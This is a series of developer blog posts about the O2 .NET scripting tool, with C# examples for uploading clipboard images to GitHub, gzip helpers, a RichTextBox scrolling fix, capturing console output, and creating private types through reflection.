New version of O2, GitHub based, running in OSX and in VisualStudio

I just wrote a number of blog posts about the new version of O2:

March 24, 2012 Posted by | O2 Scripting, OSX, VisualStudio | , | Leave a Comment

Testing using GitGub hosted images for WordPress.com blog posts

One of the things that has been a massive pain when writing these blog posts has been the really bad workflow that WordPress.com has to deal with image’s uploads.

The workflow that I want is one where I can take a screenshot into my local clipboard and ‘automagically’ that image is available to be inserted in the blog (I’m happy to wait a coupe seconds as long as no other action is needed).

In the past, I did come up with a ‘semi automated way’ to upload these images via WordPressweb GUI (see O2 Script to automatically upload clipboard images to WordPress.com), but it was not 100% stable and recently that O2 script stopped working since WordPress.com changed its own image uploading code .

Since I’m now heavily into Git, and GitHub, I was thinking ‘why don’t I copy the image from the clipboard into a local Git Repository, then push that repository to the web, and expose the GitHub raw link available’

And with the latest version of O2 (in .NET 4.0 + native .NET Git suport) I was able to build such Gui.

Here it is in action:

 

After taking a screenshot, click on the ‘Commit…’ link and eventually the image will be shown in a WebBrowser and the image URL is also placed in the clipboard (for example https://github.com/DinisCruz/Images/raw/master/images/3_18_2012_6_00_48_AM.jpg)

Now to add an image to a blog post (like this one), one can use the url in the clipboard, or just drag and drop the image from the WebBrowser:

Here is the code that creates this GUI

var topPanel = O2Gui.open("Util - Copy Clipboard Image to GitHub Repository",400,400);
//var topPanel = panel.clear().add_Panel();
var actionsPanel = topPanel.insert_Above(40, "Actions");
var url_TextBox = topPanel.insert_Above(20).add_Label("Image Url").append_TextBox("").align_Right();
var browser = topPanel.add_WebBrowser_Control();
topPanel.insert_LogViewer();
var localRepository = @"C:\_WorkDir\O2\Images";
var nGit = new API_NGit();
nGit.open(localRepository);
actionsPanel.add_Link("Open Screenshot tool", ()=> API_Cropper.openGui())
            .append_Link("Commit image from clipboard and push",
                        ()=>{
                               
                                var image = localRepository.pathCombine("images").createDir().saveImageFromClipboardToFolder(); 
                                if (image.notNull())
                                {
                                    var o2Timer = new O2Timer("upload to Git").start();
                                    var url = "https://github.com/DinisCruz/Images/raw/master/images/{0}".format(image.fileName());
                                    "Current Status: {0}".info(nGit.status());
                                    nGit.add_and_commit_using_Status();                               
                                    nGit.push();
                                    "Url copied to Cliboard: {0}".info(url);
                                    url.clipboardText_Set();
                                    o2Timer.stop();
                                    browser.open(url);
                                }
                            });           



return nGit;
//O2File:API_NGit.cs
//O2File:API_Cropper.cs
//O2Ref:NGit.dll
//O2Ref:NSch.dll
//O2Ref:Mono.Security.dll
//O2Ref:Sharpen.dll

//O2Tag_DontAddExtraO2Files

March 18, 2012 Posted by | .NET, GitHub | Leave a Comment

Decompressing HTTP GZIP responses using GZipStream (via extension methods)

Here is a good example of using Extension Methods to simplify the compressing and decompressing of strings.

This is how it is used:

var originalString = "this is the original string";

var compressedBytes = originalString.gzip_Compress();
var decompressedString = compressedBytes.gzip_Decompress();
return originalString == decompressedString; 
//O2File:_Extra_methods_Web.cs

Or even more simply:

return "this is a string".gzip_Compress().gzip_Decompress();
//O2File:_Extra_methods_Web.cs

Here is the source code of the gzip_Compress and gzip_Decompress Extension methods used above:

public static class _Extra_Web_ExtensionMethods_GZip
    {
        public static byte[] gzip_Compress(this string _string)
        {
            var bytes = Encoding.ASCII.GetBytes (_string);
            var outputStream = new MemoryStream();
            using (var gzipStream = new GZipStream(outputStream,CompressionMode.Compress))           
                gzipStream.Write(bytes, 0, bytes.size());           
            return outputStream.ToArray();
        }
       
        public static string gzip_Decompress(this byte[] bytes)
        {
            var inputStream = new MemoryStream();
            inputStream.Write(bytes, 0, bytes.Length);
            inputStream.Position = 0;
            var outputStream = new MemoryStream();
            using (var gzipStream= new GZipStream(inputStream,CompressionMode.Decompress))
            {
                byte[] buffer = new byte[4096];
                int numRead;
                while ((numRead = gzipStream.Read(buffer, 0, buffer.Length)) != 0)               
                    outputStream.Write(buffer, 0, numRead);               
            }   
            return outputStream.ToArray().ascii();
        }
    }

November 28, 2011 Posted by | .NET | Leave a Comment

Weird Bug with RichTextBox’s ScrollToCaret while using AppendText (trying to fix text flickering)

While tuning the API_ConsoleOut (using a RichTextBox instead of a TextBox), I found a really weird behaviour with the RichTextBox’s ScrollToCaret method.

What happened is that since a call to AppendText didn’t show the last text added, a call to ScrollToCaret is needed. But, if multiple calls to AppendText + ScrollToCaret  are made the text view would be (alternatively) on the last line and the line before (this was aligned at the top, which meant that the text would flicker).

After multiple experiements (see O2 Script below) I found that if we set the HideSelection value to false, the AppendText will trigger the correct scroll.

Here is the code that works:

var topPanel = panel.clear().add_Panel();
topPanel.fill(false).height(50);
var richTextBox = topPanel.add_RichTextBox();
richTextBox.set_Text("a".line() +
                     "b".line() +
                     "c".line() +
                     "d".line());

richTextBox.hideSelection(false);
richTextBox.append_Text("123");
richTextBox.append_Text("_");
richTextBox.append_Text("*");     //all now work as expected

Here is the full code of my tests

//var topPanel = O2Gui.open<Panel>("{name}",700,400);
var topPanel = panel.clear().add_Panel();
topPanel.fill(false).height(50);
var richTextBox = topPanel.add_RichTextBox();
richTextBox.set_Text("a".line() +
                     "b".line() +
                     "c".line() +
                     "d".line());

//variation A2)
/*
richTextBox.append_Text("123").scrollToCaret();       // works as expeceted
richTextBox.append_Text("_").scrollToCaret();        // caret is one line up
//richTextBox.append_Text("*").scrollToCaret();        // works as expeceted
*/
//variation A1)                    
/*richTextBox.append_Text("123").scrollToCaret();    // works as expeceted
this.sleep(300);
richTextBox.append_Text("_").scrollToCaret();        // caret is one line up
this.sleep(300);
richTextBox.append_Text("*").scrollToCaret();         // works as expeceted
*/

//variation B)
/*richTextBox.invokeOnThread(
    ()=>{           
            richTextBox.AppendText("123");            // works as expeceted   
            richTextBox.ScrollToCaret();
            richTextBox.AppendText("_");            // caret is one line up
            richTextBox.ScrollToCaret();
            //richTextBox.AppendText("*");            // works as expeceted
            //richTextBox.ScrollToCaret();
        });*/
//variation C)
/*Action<string> appendText  =
    (text)=>{
                var before = richTextBox.SelectionStart;
                richTextBox.AppendText(text);
                var after = richTextBox.SelectionStart;
                "text: {0} before: {1}  after: {2}".info(text, before, after);               
                richTextBox.ScrollToCaret();                
            };
           
richTextBox.invokeOnThread(
    ()=>{                           
            appendText("123");  // works as expeceted
            appendText("_");    // caret is one line up
            appendText("*");  // works as expeceted
            appendText("_");    // caret is one line up
        });
*/
 
//the solution for the problem is to set the HideSelection property set to false
//which is now exposed via an O2 Extension Method

richTextBox.hideSelection(false); // richTextBox.showSelection(); also works
richTextBox.append_Text("123");
richTextBox.append_Text("_");
richTextBox.append_Text("*");     //all now work as expectted
/*
//Variation D) using scrollToCaret brings back the problem,
richTextBox.hideSelection(false);
richTextBox.append_Text("123");
richTextBox.append_Text("_");//.scrollToCaret();
richTextBox.append_Text("*").scrollToCaret(); 
*/
return "done";

It would be great to find out exactly what was causing this behaviour, but I looks that most of the RichTextBox behaviour is triggered by Windows Messages, so its quite a rabbit hole.

November 27, 2011 Posted by | .NET | Leave a Comment

API_ConsoleOut.cs – New and InProcess Capture of the Console Output

There are multiple scenarious where it is usefull to capture (via Lambda callbacks) the calls to Console.Write. Most solutions out there are based on using the Process class (via its ProcessStartInfo settings):

The problem with those solutions is they are able to capture the Console Output of the new process created, NOT the current process (which is what I want since I need to see the Console messages created by an external API/Code that I consuming from O2)

Using O2 to captute Console Output of new processes

Note: If all you want to do is to capture the console output of a new process, there are a bunch of O2 methods/APIs that can help you with it:

Which can be used like this:

run cmd.exe (with params: /c dir) and get its console output

return "cmd.exe".startProcess_getConsoleOut(" /c dir");

run netstat.exe (with params: -na) and redirect its console into a lambda method

"netstat.exe".startProcess("-na", (line)=> line.info());

run netstat.exe and show its results in a table list

var topPanel = panel.clear().add_Panel();
var tableList = topPanel.add_TableList();
var lines = "netstat.exe".startProcess_getConsoleOut("-na")
                         .lines()
                         .removeRange(0,2);
var netstatData = (from line in lines
                   let fragments = line.split(" ").removeEmpty()
                   select new {
                                   @Type = fragments.value(0) , 
                                   Local_Address = fragments.value(1) ,
                                   Foreign_Address = fragments.value(2) ,
                                   State = fragments.value(3)
                                  });                  
tableList.show(netstatData);

Using O2 to captute Console Output in the current Process

To capture the Console Output in the current process, I first tried to capture the usage of a MemoryStream in a way simular to how Console actually works (see O2 blog post Dynamically creating private/internal types and delegates (UserCallBack and AsyncStreamReader) ) , but a much easier way is to specify a TextWriter via Console.SetOut.

To make it easier to use, I created the API_ConsoleOut class which can be used like this:

Show Console Ouput in a new window

"Write this to the console :)".open_ConsoleOut();
Console.Write("another");
Console.WriteLine("test");
//O2File:API_ConsoleOut.cs

Which looks like this:

 Show Console Output in an existing panel/control

var topPanel = panel.clear().add_Panel();
topPanel.show_ConsoleOut(); //this will open as a child of an existing control
Console.Write("another ");
Console.WriteLine("test");
topPanel.insert_Right().add_SourceCodeViewer().set_Text("<h1>some html<h1>",".html");
Console.WriteLine("now inside a Windows Control");

return "done";
//O2File:API_ConsoleOut.cs

Which looks like this:

 

Test GUI with Console Input

If you want to test the Console Input and Output, there is also a test GUI that you can use

var apiConsoleOut = new API_ConsoleOut();
apiConsoleOut.show_ConsoleOut_TestGui();

Console.Write("another ");
Console.WriteLine("test");
Console.WriteLine("now with more options");

//O2File:API_ConsoleOut.cs

Which looks like this:

Source code of API_Console_Out.cs

using System;
using System.IO;
using System.Text;
using System.Drawing;
using System.Windows.Forms;
using System.Collections.Generic;
using O2.Interfaces.O2Core;
using O2.Kernel;
using O2.Kernel.ExtensionMethods;
using O2.DotNetWrappers.ExtensionMethods;
using O2.Views.ASCX.classes.MainGUI;
using O2.XRules.Database.Utils;

//O2File:_Extra_methods_Misc.cs
//O2File:_Extra_methods_Windows.cs
//O2File:_Extra_methods_WinForms_Controls.cs

namespace O2.XRules.Database.APIs
{
    public class API_ConsoleOut : Control
    {            
        public O2StreamWriter o2StreamWriter;
       
        public API_ConsoleOut()
        {       
            this.o2StreamWriter = new O2StreamWriter();     
            this.o2StreamWriter.Name = "API_ConsoleOut";
            Console.SetOut(this.o2StreamWriter); 
        }
    }
   
    public class O2StreamWriter : TextWriter
    {
        public StringBuilder ConsoleOut     { get; set; }
        public StringBuilder CurrentLine    { get; set; }
        public List<string> Lines            { get; set; }
        public Action<char> On_NewChar        { get; set; }   
        public Action<string> On_NewLine     { get; set; }
        public bool LogAllChars                { get; set; }
        public bool LogAllLines                { get; set; }
        public string Name                    { get; set; }
        public int PauseBetweenCharWrite    { get; set; }
       
        public O2StreamWriter()
        {
            ConsoleOut = new StringBuilder();
            CurrentLine = new StringBuilder();
            Lines = new List<string>();       
            LogAllChars = false;
            LogAllLines = true;
            Name = "O2StreamWriter";
        }
   
        public override void Write(char value)
        {
            base.Write(value);
              this.ConsoleOut.Append(value.ToString());             
             
              if (value == '\n')
                  handleLine();                 
              else
                  this.CurrentLine.Append(value.ToString());
                 
              if (this.LogAllChars)
                "[{0}] char: {1}".info(this.Name, value);
           
            if (this.On_NewChar.notNull())
                this.On_NewChar(value);
           
            if (PauseBetweenCharWrite > 0)
                this.sleep(PauseBetweenCharWrite, false);
        }               
       
        public void handleLine()
        {
            var line = this.CurrentLine.str();
            if (line.lastChar('\r'))
                line = line.removeLastChar();
            this.CurrentLine = new StringBuilder();
            this.Lines.add(line);
           
            if (this.LogAllLines)
                "[{0}]: {1}".info(this.Name, line);
               
            if (this.On_NewLine.notNull())
                this.On_NewLine(line);           
        }
        public override Encoding Encoding
        {
            get { return System.Text.Encoding.UTF8; }
        }
    }
   
    public static class API_ConsoleOut_ExtensionMethods_TestGuis
    {
       
        public static API_ConsoleOut show_ConsoleOut_TestGui(this API_ConsoleOut apiConsoleOut)
        {
            var topPanel = O2Gui.open<Panel>("Console.Out capture Test",700,200);
            return apiConsoleOut.show_ConsoleOut_TestGui(topPanel);
        }
       
       
        public static API_ConsoleOut show_ConsoleOut_TestGui(this API_ConsoleOut apiConsoleOut, Control topPanel)
        {
            var consoleIn = topPanel.insert_Above(40, "ConsoleIn");
            var lines_TextBox = topPanel.clear().add_GroupBox("Console.Out Lines").add_TreeView();
            var chars_TextBox = topPanel.insert_Right("Console.Out Chars").add_TextArea();
                       
            consoleIn.add_TextBox("Write to send to Console Input ->","")
                     .onKeyPress_getChar( (_char)=> { if (_char == '\x0d') Console.WriteLine(); else  Console.Write(_char); })
                     .multiLine(true)
                     .focus();
                                
            apiConsoleOut.o2StreamWriter.On_NewChar = (_char) => chars_TextBox.append_Text(_char.str());
            apiConsoleOut.o2StreamWriter.On_NewLine = (line) => lines_TextBox.add_Node(line);
           
            //apiConsoleOut.o2StreamWriter.PauseBetweenCharWrite = 1;            
           
            Console.WriteLine("Welcome to show_ConsoleOut_TestGui");   
            Console.Write("Type something on the TextBox above to see it here".line());
            return apiConsoleOut;
        }
       
        public static API_ConsoleOut open_ConsoleOut(this string message)
        {
            return message.show_ConsoleOut();
        }
       
        public static API_ConsoleOut show_ConsoleOut(this string message)
        {
            var apiConsoleOut = new API_ConsoleOut();
            apiConsoleOut.show_ConsoleOut();
            Console.WriteLine(message);
            return apiConsoleOut;
        }
       
        public static API_ConsoleOut add_ConsoleOut(this Control topPanel)
        {
            return topPanel.show_ConsoleOut();
        }
       
        public static API_ConsoleOut show_ConsoleOut<T>(this T topPanel)
            where T : Control
        {
            return topPanel.show_ConsoleOut("Welcome to O2's console");
        }
       
        public static API_ConsoleOut show_ConsoleOut<T>(this T topPanel, string message )
            where T : Control
        {
            var apiConsoleOut = new API_ConsoleOut();
            apiConsoleOut.show_ConsoleOut(topPanel);
            Console.WriteLine(message);
            return apiConsoleOut;
        }
       
        public static API_ConsoleOut show_ConsoleOut(this API_ConsoleOut apiConsoleOut)
        {
            var topPanel = O2Gui.open<Panel>("Console.Out",700,200);
            return apiConsoleOut.show_ConsoleOut(topPanel);
        }
       
       
        public static API_ConsoleOut show_ConsoleOut(this API_ConsoleOut apiConsoleOut, Control topPanel)
        {
            var consoleOut = topPanel.add_TextArea();
            consoleOut.backColor(Color.Black);
            consoleOut.foreColor(Color.White);
            consoleOut.font("Lucida Console");
            apiConsoleOut.o2StreamWriter.On_NewChar = (_char) => consoleOut.append_Text(_char.str());
            apiConsoleOut.o2StreamWriter.LogAllLines = false;
           
            consoleOut.add_ContextMenu()
                      .add_MenuItem("Clear", false, ()=> consoleOut.set_Text(""))
                      .add_MenuItem("Write to Console Input", ()=> Console.WriteLine("Text to send to Console.Input".askUser()));
            return apiConsoleOut;
        }
    }
}

November 26, 2011 Posted by | .NET, Tools | 3 Comments

Dynamically creating private/internal types and delegates (UserCallBack and AsyncStreamReader)

When trying to create a callback into Console.Out, I tried to create a instance of the internal class AsyncStreamReader (which has a dependency on the private delegate UserCallBack). This workded ok  (see code below), but it didn’t have the expected behaviour (I did get a call into the outputReadNotifyUser Lambda method, but it only happened once and there was no value in its text variable) .

I actually found a better way (see next blog post), but meanwhile here is an  example of how to use reflection to create instance of private types and delegates.

//Not currently working, but shows how to create a private Delegate and Type

var currentProcess = Processes.getCurrentProcess();
Action<string> outputReadNotifyUser =
    (text)=>{
                "outputReadNotifyUser: {0}".info(text);
            };

var userCallBackType = PublicDI.reflection.getType("UserCallBack");
var userCallBack = Delegate.CreateDelegate(userCallBackType, outputReadNotifyUser, typeof(Action<string>).method("Invoke"));

var memoryStream = new MemoryStream();
var streamWriter = new StreamWriter(memoryStream);
System.Console.SetOut(streamWriter);
streamWriter.AutoFlush = true;

var oParams = new object[] { currentProcess,memoryStream, userCallBack , Encoding.UTF8};
var asyncStreamReader = PublicDI.reflection.getType("AsyncStreamReader");
var aSyncReader =  asyncStreamReader.ctors()[0].Invoke(oParams);
aSyncReader.invoke("BeginReadLine");

Console.Out.WriteLine("aaaa".line());
Console.Out.WriteLine("aaaa".line());

return "ok";
//using System.Text
//using System.IO
//using System.Diagnostics

November 25, 2011 Posted by | .NET, Reflection | 1 Comment

Follow

Get every new post delivered to your Inbox.

Join 130 other followers